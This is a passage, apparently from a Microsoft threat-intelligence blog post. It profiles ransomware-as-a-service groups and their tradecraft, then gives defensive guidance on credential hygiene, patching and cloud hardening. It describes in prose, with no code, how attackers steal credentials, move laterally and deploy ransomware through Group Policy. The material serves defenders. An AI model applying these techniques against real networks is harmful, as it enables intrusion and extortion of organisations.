Another popular technique attackers perform once they attain privilege access is the creation of new backdoor user accounts, whether local or in Active Directory. These newly created accounts can then be added to remote access tools such as a virtual private network (VPN) or Remote Desktop, granting remote access through accounts that appear legitimate on the network. Ransomware attackers have also been observed editing the settings on systems to enable Remote Desktop, reduce the protocol’s security, and add new users to the Remote Desktop Users group.

The time between initial access to a hands-on keyboard deployment can vary wildly depending on the groups and their workloads or motivations. Some activity groups can access thousands of potential targets and work through these as their staffing allows, prioritizing based on potential ransom payment over several months. While some activity groups may have access to large and highly resourced companies, they prefer to attack smaller companies for less overall ransom because they can execute the attack within hours or days. In addition, the return on investment is higher from companies that can’t respond to a major incident. Ransoms of tens of millions of dollars receive much attention but take much longer to develop. Many groups prefer to ransom five to 10 smaller targets in a month because the success rate at receiving payment is higher in these targets. Smaller organizations that can’t afford an IR team are often more likely to pay tens of thousands of dollars in ransom than an organization worth millions of dollars because the latter has a developed IR capability and is likely to follow legal advice against paying. In some instances, a ransomware associate threat actor may have an implant on a network and never convert it to ransom activity. In other cases, initial access to full ransom (including handoff from an access broker to a RaaS affiliate) takes less than an hour.

Funnel diagram showing targeting and rate of success. Given 2,500 potential target orgs, 60 encounter activity associated with known ransomware attackers. Out of these, 20 are successfully compromised, and 1 organization sees a successful ransomware event.
Figure 2. Human-operated ransomware targeting and rate of success, based on a sampling of Microsoft data over six months between 2021 and 2022

The human-driven nature of these attacks and the scale of possible victims under control of ransomware-associated threat actors underscores the need to take targeted proactive security measures to harden networks and prevent these attacks in their early stages.

Threat actors and campaigns deep dive: Threat intelligence-driven response to human-operated ransomware attacks

For organizations to successfully respond to evict an active attacker, it’s important to understand the active stage of an ongoing attack. In the early attack stages, such as deploying a banking trojan, common remediation efforts like isolating a system and resetting exposed credentials may be sufficient. As the attack progresses and the attacker performs reconnaissance activities and exfiltration, it’s important to implement an incident response process that scopes the incident to address the impact specifically. Using a threat intelligence-driven methodology for understanding attacks can assist in determining incidents that need additional scoping.

In the next sections, we provide a deep dive into the following prominent ransomware threat actors and their campaigns to increase community understanding of these attacks and enable organizations to better protect themselves:

Microsoft threat intelligence directly informs our products as part of our commitment to track adversaries and protect customers. Microsoft 365 Defender customers should prioritize alerts titled “Ransomware-linked emerging threat activity group detected”. We also add the note “Ongoing hands-on-keyboard attack” to alerts that indicate a human attacker is in the network. When these alerts are raised, it’s highly recommended to initiate an incident response process to scope the attack, isolate systems, and regain control of credentials attackers may be in control of.

A note on threat actor naming: as part of Microsoft’s ongoing commitment to track both nation-state and cybercriminal threat actors, we refer to the unidentified threat actors as a “development group”. We use a naming structure with a prefix of “DEV” to indicate an emerging threat group or unique activity during investigation. When a nation-state group moves out of the DEV stage, we use chemical elements (for example, PHOSPHOROUS and NOBELIUM) to name them. On the other hand, we use volcano names (such as ELBRUS) for ransomware or cybercriminal activity groups that have moved out of the DEV state. In the cybercriminal economy, relationships between groups change very rapidly. Attackers are known to hire talent from other cybercriminal groups or use “contractors,” who provide gig economy-style work on a limited time basis and may not rejoin the group. This shifting nature means that many of the groups Microsoft tracks are labeled as DEV, even if we have a concrete understanding of the nature of the activity group.

DEV-0193 cluster (Trickbot LLC): The most prolific ransomware group today

A vast amount of the current cybercriminal economy connects to a nexus of activity that Microsoft tracks as DEV-0193, also referred to as Trickbot LLC. DEV-0193 is responsible for developing, distributing, and managing many different payloads, including Trickbot, Bazaloader, and AnchorDNS. In addition, DEV-0193 managed the Ryuk RaaS program before the latter’s shutdown in June 2021, and Ryuk’s successor, Conti as well as Diavol. Microsoft has been tracking the activities of DEV-0193 since October 2020 and has observed their expansion from developing and distributing the Trickbot malware to becoming the most prolific ransomware-associated cybercriminal activity group active today. 

DEV-0193’s actions and use of the cybercriminal gig economy means they often add new members and projects and utilize contractors to perform various parts of their intrusions. As other malware operations have shut down for various reasons, including legal actions, DEV-0193 has hired developers from these groups. Most notable are the acquisitions of developers from Emotet, Qakbot, and IcedID, bringing them to the DEV-0193 umbrella.

A subgroup of DEV-0193, which Microsoft tracks as DEV-0365, provides infrastructure-as-a-service for cybercriminals. Most notably, DEV-0365 provides Cobalt Strike Beacon-as-a-service. These DEV-0365 Beacons have replaced unique C2 infrastructure in many active malware campaigns. DEV-0193 infrastructure has also been implicated in attacks deploying novel techniques, including exploitation of CVE-2021-40444. 

The leaked chat files from a group publicly labeled as the “Conti Group” in February 2022 confirm the wide scale of DEV-0193 activity tracked by Microsoft. Based on our telemetry from 2021 and 2022, Conti has become one of the most deployed RaaS ecosystems, with multiple affiliates concurrently deploying their payload—even as other RaaS ecosystems (DarkSide/BlackMatter and REvil) ceased operations. However, payload-based attribution meant that much of the activity that led to Conti ransomware deployment was attributed to the “Conti Group,” even though many affiliates had wildly different tradecraft, skills, and reporting structures. Some Conti affiliates performed small-scale intrusions using the tools offered by the RaaS, while others performed weeks-long operations involving data exfiltration and extortion using their own techniques and tools. One of the most prolific and successful Conti affiliates—and the one responsible for developing the “Conti Manual” leaked in August 2021—is tracked as DEV-0230. This activity group also developed and deployed the FiveHands and HelloKitty ransomware payloads and often gained access to an organization via DEV-0193’s BazaLoader infrastructure.

ELBRUS: (Un)arrested development

ELBRUS, also known as FIN7, has been known to be in operation since 2012 and has run multiple campaigns targeting a broad set of industries for financial gain. ELBRUS has deployed point-of-sale (PoS) and ATM malware to collect payment card information from in-store checkout terminals. They have also targeted corporate personnel who have access to sensitive financial data, including individuals involved in SEC filings.

In 2018, this activity group made headlines when three of its members were arrested. In May 2020, another arrest was made for an individual with alleged involvement with ELBRUS. However, despite law enforcement actions against suspected individual members, Microsoft has observed sustained campaigns from the ELBRUS group itself during these periods.

ELBRUS is responsible for developing and distributing multiple custom malware families used for persistence, including JSSLoader and Griffon. ELBRUS has also created fake security companies called “Combi Security” and “Bastion Security” to facilitate the recruitment of employees to their operations under the pretense of working as penetration testers.

In 2020 ELBRUS transitioned from using PoS malware to deploying ransomware as part of a financially motivated extortion scheme, specifically deploying the MAZE and Revil RaaS families. ELBRUS developed their own RaaS ecosystem named DarkSide. They deployed DarkSide payloads as part of their operations and recruited and managed affiliates that deployed the DarkSide ransomware. The tendency to report on ransomware incidents based on payload and attribute it to a monolithic gang often obfuscates the true relationship between the attackers, which is very accurate of the DarkSide RaaS. Case in point, one of the most infamous DarkSide deployments wasn’t performed by ELBRUS but by a ransomware-as-a-service affiliate Microsoft tracks as DEV-0289.

ELBRUS retired the DarkSide ransomware ecosystem in May 2021 and released its successor, BlackMatter, in July 2021. Replicating their patterns from DarkSide, ELBRUS deployed BlackMatter themselves and ran a RaaS program for affiliates. The activity group then retired the BlackMatter ransomware ecosystem in November 2021.

While they aren’t currently publicly observed to be running a RaaS program, ELBRUS is very active in compromising organizations via phishing campaigns that lead to their JSSLoader and Griffon malware. Since 2019, ELBRUS has partnered with DEV-0324 to distribute their malware implants. DEV-0324 acts as a distributor in the cybercriminal economy, providing a service to distribute the payloads of other attackers through phishing and exploit kit vectors. ELBRUS has also been abusing CVE-2021-31207 in Exchange to compromise organizations in April of 2022, an interesting pivot to using a less popular authenticated vulnerability in the ProxyShell cluster of vulnerabilities. This abuse has allowed them to target organizations that patched only the unauthenticated vulnerability in their Exchange Server and turn compromised low privileged user credentials into highly privileged access as SYSTEM on an Exchange Server.  

DEV-0504: Shifting payloads reflecting the rise and fall of RaaS programs

An excellent example of how clustering activity based on ransomware payload alone can lead to obfuscating the threat actors behind the attack is DEV-0504. DEV-0504 has deployed at least six RaaS payloads since 2020, with many of their attacks becoming high-profile incidents attributed to the “REvil gang” or “BlackCat ransomware group”. This attribution masks the actions of the set of the attackers in the DEV-0504 umbrella, including other REvil and BlackCat affiliates. This has resulted in a confusing story of the scale of the ransomware problem and overinflated the impact that a single RaaS program shutdown can have on the threat environment.  

Timeline showing DEV-0505's ransomware payloads over time.
Figure 3. Ransomware payloads distributed by DEV-0504 between 2020 and April 2022

DEV-0504 shifts payloads when a RaaS program shuts down, for example the deprecation of REvil and BlackMatter, or possibly when a program with a better profit margin appears. These market dynamics aren’t unique to DEV-0504 and are reflected in most RaaS affiliates. They can also manifest in even more extreme behavior where RaaS affiliates switch to older “fully owned” ransomware payloads like Phobos, which they can buy when a RaaS isn’t available, or they don’t want to pay the fees associated with RaaS programs.

DEV-0504 appears to rely on access brokers to enter a network, using Cobalt Strike Beacons they have possibly purchased access to. Once inside a network, they rely heavily on PsExec to move laterally and stage their payloads. Their techniques require them to have compromised elevated credentials, and they frequently disable antivirus products that aren’t protected with tamper protection.

DEV-0504 was responsible for deploying BlackCat ransomware in companies in the energy sector in January 2022. Around the same time, DEV-0504 also deployed BlackCat in attacks against companies in the fashion, tobacco, IT, and manufacturing industries, among others.

DEV-0237: Prolific collaborator

Like DEV-0504, DEV-0237 is a prolific RaaS affiliate that alternates between different payloads in their operations based on what is available. DEV-0237 heavily used Ryuk and Conti payloads from Trickbot LLC/DEV-0193, then Hive payloads more recently. Many publicly documented Ryuk and Conti incidents and tradecraft can be traced back to DEV-0237.

After the activity group switched to Hive as a payload, a large uptick in Hive incidents was observed. Their switch to the BlackCat RaaS in March 2022 is suspected to be due to public discourse around Hive decryption methodologies; that is, DEV-0237 may have switched to BlackCat because they didn’t want Hive’s decryptors to interrupt their business. Overlap in payloads has occurred as DEV-0237 experiments with new RaaS programs on lower-value targets. They have been observed to experiment with some payloads only to abandon them later.

Timeline diagram showing DEV-0237's ransomware payloads over time.
Figure 4. Ransomware payloads distributed by DEV-0237 between 2020 and April 2022

Beyond RaaS payloads, DEV-0237 uses the cybercriminal gig economy to also gain initial access to networks. DEV-0237’s proliferation and success rate come in part from their willingness to leverage the network intrusion work and malware implants of other groups versus performing their own initial compromise and malware development.

Relationship diagram showing the relationship between DEV-0237 and DEV-0447, DEV-0387, and DEV-0193.
Figure 5. Examples of DEV-0237’s relationships with other cybercriminal activity groups

Like all RaaS operators, DEV-0237 relies on compromised, highly privileged account credentials and security weaknesses once inside a network. DEV-0237 often leverages Cobalt Strike Beacon dropped by the malware they have purchased, as well as tools like SharpHound to conduct reconnaissance. The group often utilizes BITSadmin /transfer to stage their payloads. An often-documented trademark of Ryuk and Conti deployments is naming the ransomware payload xxx.exe, a tradition that DEV-0237 continues to use no matter what RaaS they are deploying, as most recently observed with BlackCat. In late March of 2022, DEV-0237 was observed to be using a new version of Hive again.

DEV-0206 and DEV-0243: An “evil” partnership

Malvertising, which refers to taking out a search engine ad to lead to a malware payload, has been used in many campaigns, but the access broker that Microsoft tracks as DEV-0206 uses this as their primary technique to gain access to and profile networks. Targets are lured by an ad purporting to be a browser update, or a software package, to download a ZIP file and double-click it. The ZIP package contains a JavaScript file (.js), which in most environments runs when double-clicked. Organizations that have changed the settings such that script files open with a text editor by default instead of a script handler are largely immune from this threat, even if a user double clicks the script.

Once successfully executed, the JavaScript framework, also referred to SocGholish, acts as a loader for other malware campaigns that use access purchased from DEV-0206, most commonly Cobalt Strike payloads. These payloads have, in numerous instances, led to custom Cobalt Strike loaders attributed to DEV-0243. DEV-0243 falls under activities tracked by the cyber intelligence industry as “EvilCorp,”  The custom Cobalt Strike loaders are similar to those seen in publicly documented Blister malware’s inner payloads. In DEV-0243’s initial partnerships with DEV-0206, the group deployed a custom ransomware payload known as WastedLocker, and then expanded to additional DEV-0243 ransomware payloads developed in-house, such as PhoenixLocker and Macaw.

Around November 2021, DEV-0243 started to deploy the LockBit 2.0 RaaS payload in their intrusions. The use of a RaaS payload by the “EvilCorp” activity group is likely an attempt by DEV-0243 to avoid attribution to their group, which could discourage payment due to their sanctioned status.

Attack chain diagram showing DEV-0206 gaining access to target organizations and deploying JavaScript implant. After which, DEV-0243 begins hands-on keyboard actions.
Figure 6. The handover from DEV-0206 to DEV-0243

DEV-0401: China-based lone wolf turned LockBit 2.0 affiliate

Differing from the other RaaS developers, affiliates, and access brokers profiled here, DEV-0401 appears to be an activity group involved in all stages of their attack lifecycle, from initial access to ransomware development. Despite this, they seem to take some inspiration from successful RaaS operations with the frequent rebranding of their ransomware payloads. Unique among human-operated ransomware threat actors tracked by Microsoft, DEV-0401 is confirmed to be a China-based activity group.

DEV-0401 differs from many of the attackers who rely on purchasing access to existing malware implants or exposed RDP to enter a network. Instead, the group heavily utilizes unpatched vulnerabilities to access networks, including vulnerabilities in Exchange, Manage Engine AdSelfService Plus, Confluence, and Log4j 2. Due to the nature of the vulnerabilities they preferred, DEV-0401 gains elevated credentials at the initial access stage of their attack.

Once inside a network, DEV-0401 relies on standard techniques such as using Cobalt Strike and WMI for lateral movement, but they have some unique preferences for implementing these behaviors. Their Cobalt Strike Beacons are frequently launched via DLL search order hijacking. While they use the common Impacket tool for WMI lateral movement, they use a customized version of the wmiexec.py module of the tool that creates renamed output files, most likely to evade static detections. Ransomware deployment is ultimately performed from a batch file in a share and Group Policy, usually written to the NETLOGON share on a Domain Controller, which requires the attackers to have obtained highly privileged credentials like Domain Administrator to perform this action.

Timeline diagram showing DEV-0401's ransomware payloads over time
Figure 7. Ransomware payloads distributed by DEV-0401 between 2021 and April 2022

Because DEV-0401 maintains and frequently rebrands their own ransomware payloads, they can appear as different groups in payload-driven reporting and evade detections and actions against them. Their payloads are sometimes rebuilt from existing for-purchase ransomware tools like Rook, which shares code similarity with the Babuk ransomware family. In February of 2022, DEV-0401 was observed deploying the Pandora ransomware family, primarily via unpatched VMware Horizon systems vulnerable to the Log4j 2 CVE-2021-44228 vulnerability.

Like many RaaS operators, DEV-0401 maintained a leak site to post exfiltrated data and motivate victims to pay, however their frequent rebranding caused these systems to sometimes be unready for their victims, with their leak site sometimes leading to default web server landing pages when victims attempt to pay.  In a notable shift—possibly related to victim payment issues—DEV-0401 started deploying LockBit 2.0 ransomware payloads in April 2022.

DEV-0537: From extortion to destruction

An example of a threat actor who has moved to a pure extortion and destruction model without deploying ransomware payloads is an activity group that Microsoft tracks as DEV-0537, also known as LAPSUS$. Microsoft has detailed DEV-0537 actions taken in early 2022 in this blog. DEV-0537 started targeting organizations mainly in Latin America but expanded to global targeting, including government entities, technology, telecom, retailers, and healthcare. Unlike more opportunistic attackers, DEV-0537 targets specific companies with an intent. Their initial access techniques include exploiting unpatched vulnerabilities in internet-facing systems, searching public code repositories for credentials, and taking advantage of weak passwords. In addition, there is evidence that DEV-0537 leverages credentials stolen by the Redline password stealer, a piece of malware available for purchase in the cybercriminal economy. The group also buys credentials from underground forums which were gathered by other password-stealing malware.

Once initial access to a network is gained, DEV-0537 takes advantage of security misconfigurations to elevate privileges and move laterally to meet their objectives of data exfiltration and extortion. While DEV-0537 doesn’t possess any unique technical capabilities, the group is especially cloud-aware. They target cloud administrator accounts to set up forwarding rules for email exfiltration and tamper with administrative settings on cloud environments. As part of their goals to force payment of ransom, DEV-0537 attempts to delete all server infrastructure and data to cause business disruption. To further facilitate the achievement of their goals, they remove legitimate admins and delete cloud resources and server infrastructure, resulting in destructive attacks. 

DEV-0537 also takes advantage of cloud admin privileges to monitor email, chats, and VOIP communications to track incident response efforts to their intrusions. DEV-0537 has been observed on multiple occasions to join incident response calls, not just observing the response to inform their attack but unmuting to demand ransom and sharing their screens while they delete their victim’s data and resources.

Defending against ransomware: Moving beyond protection by detection

A durable security strategy against determined human adversaries must include the goal of mitigating classes of attacks and detecting them. Ransomware attacks generate multiple, disparate security product alerts, but they could easily get lost or not responded to in time. Alert fatigue is real, and SOCs can make their lives easier by looking at trends in their alerts or grouping alerts into incidents so they can see the bigger picture. SOCs can then mitigate alerts using hardening capabilities like attack surface reduction rules. Hardening against common threats can reduce alert volume and stop many attackers before they get access to networks. 

Attackers tweak their techniques and have tools to evade and disable security products. They are also well-versed in system administration and try to blend in as much as possible. However, while attacks have continued steadily and with increased impact, the attack techniques attackers use haven’t changed much over the years. Therefore, a renewed focus on prevention is needed to curb the tide.

Ransomware attackers are motivated by easy profits, so adding to their cost via security hardening is key in disrupting the cybercriminal economy.

Building credential hygiene

More than malware, attackers need credentials to succeed in their attacks. In almost all attacks where ransomware deployment was successful, the attackers had access to a domain admin-level account or local administrator passwords that were consistent throughout the environment. Deployment then can be done through Group Policy or tools like PsExec (or clones like PAExec, CSExec, and WinExeSvc). Without the credentials to provide administrative access in a network, spreading ransomware to multiple systems is a bigger challenge for attackers. Compromised credentials are so important to these attacks that when cybercriminals sell ill-gotten access to a network, in many instances, the price includes a guaranteed administrator account to start with.

Credential theft is a common attack pattern. Many administrators know tools like Mimikatz and LaZagne, and their capabilities to steal passwords from interactive logons in the LSASS process. Detections exist for these tools accessing the LSASS process in most security products. However, the risk of credential exposure isn’t just limited to a domain administrator logging in interactively to a workstation. Because attackers have accessed and explored many networks during their attacks, they have a deep knowledge of common network configurations and use it to their advantage. One common misconfiguration they exploit is running services and scheduled tasks as highly privileged service accounts.

Too often, a legacy configuration ensures that a mission-critical application works by giving the utmost permissions possible. Many organizations struggle to fix this issue even if they know about it, because they fear they might break applications. This configuration is especially dangerous as it leaves highly privileged credentials exposed in the LSA Secrets portion of the registry, which users with administrative access can access. In organizations where the local administrator rights haven’t been removed from end users, attackers can be one hop away from domain admin just from an initial attack like a banking trojan. Building credential hygiene is developing a logical segmentation of the network, based on privileges, that can be implemented alongside network segmentation to limit lateral movement.

Here are some steps organizations can take to build credential hygiene:

  • Aim to run services as Local System when administrative privileges are needed, as this allows applications to have high privileges locally but can’t be used to move laterally. Run services as Network Service when accessing other resources.
  • Use tools like LUA Buglight to determine the privileges that applications really need.
  • Look for events with EventID 4624 where the logon type is 2, 4, 5, or 10 and the account is highly privileged like a domain admin. This helps admins understand which credentials are vulnerable to theft via LSASS or LSA Secrets. Ideally, any highly privileged account like a Domain Admin shouldn’t be exposed on member servers or workstations.
  • Monitor for EventID 4625 (Logon Failed events) in Windows Event Forwarding when removing accounts from privileged groups. Adding them to the local administrator group on a limited set of machines to keep an application running still reduces the scope of an attack as against running them as Domain Admin.
  • Randomize Local Administrator passwords with a tool like Local Administrator Password Solution (LAPS) to prevent lateral movement using local accounts with shared passwords.
  • Use a cloud-based identity security solution that leverages on-premises Active Directory signals get visibility into identity configurations and to identify and detect threats or compromised identities

Auditing credential exposure

Auditing credential exposure is critical in preventing ransomware attacks and cybercrime in general. BloodHound is a tool that was originally designed to provide network defenders with insight into the number of administrators in their environment. It can also be a powerful tool in reducing privileges tied to administrative account and understanding your credential exposure. IT security teams and SOCs can work together with the authorized use of this tool to enable the reduction of exposed credentials. Any teams deploying BloodHound should monitor it carefully for malicious use. They can also use this detection guidance to watch for malicious use.

Microsoft has observed ransomware attackers also using BloodHound in attacks. When used maliciously, BloodHound allows attackers to see the path of least resistance from the systems they have access, to highly privileged accounts like domain admin accounts and global administrator accounts in Azure.

Prioritizing deployment of Active Directory updates

Security patches for Active Directory should be applied as soon as possible after they are released. Microsoft has witnessed ransomware attackers adopting authentication vulnerabilities within one hour of being made public and as soon as those vulnerabilities are included in tools like Mimikatz. Ransomware activity groups also rapidly adopt vulnerabilities related to authentication, such as ZeroLogon and PetitPotam, especially when they are included in toolkits like Mimikatz. When unpatched, these vulnerabilities could allow attackers to rapidly escalate from an entrance vector like email to Domain Admin level privileges.

Cloud hardening

As attackers move towards cloud resources, it’s important to secure cloud resources and identities as well as on-premises accounts. Here are ways organizations can harden cloud environments:

Cloud identity hardening

Multifactor authentication (MFA)

  • Enforce MFA on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, at all times.
  • Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Identify and secure workload identities to secure accounts where traditional MFA enforcement does not apply.
  • Ensure that users are properly educated on not accepting unexpected two-factor authentication (2FA).
  • For MFA that uses authenticator apps, ensure that the app requires a code to be typed in where possible, as many intrusions where MFA was enabled (including those by DEV-0537) still succeeded due to users clicking “Yes” on the prompt on their phones even when they were not at their computers. Refer to this article for an example.
  • Disable legacy authentication.

Cloud admins

Addressing security blind spots

In almost every observed ransomware incident, at least one system involved in the attack had a misconfigured security product that allowed the attacker to disable protections or evade detection. In many instances, the initial access for access brokers is a legacy system that isn’t protected by  antivirus or EDR solutions. It’s important to understand that the lack security controls on these systems that have access to highly privileged credentials act as blind spots that allow attackers to perform the entire ransomware and exfiltration attack chain from a single system without being detected. In some instances, this is s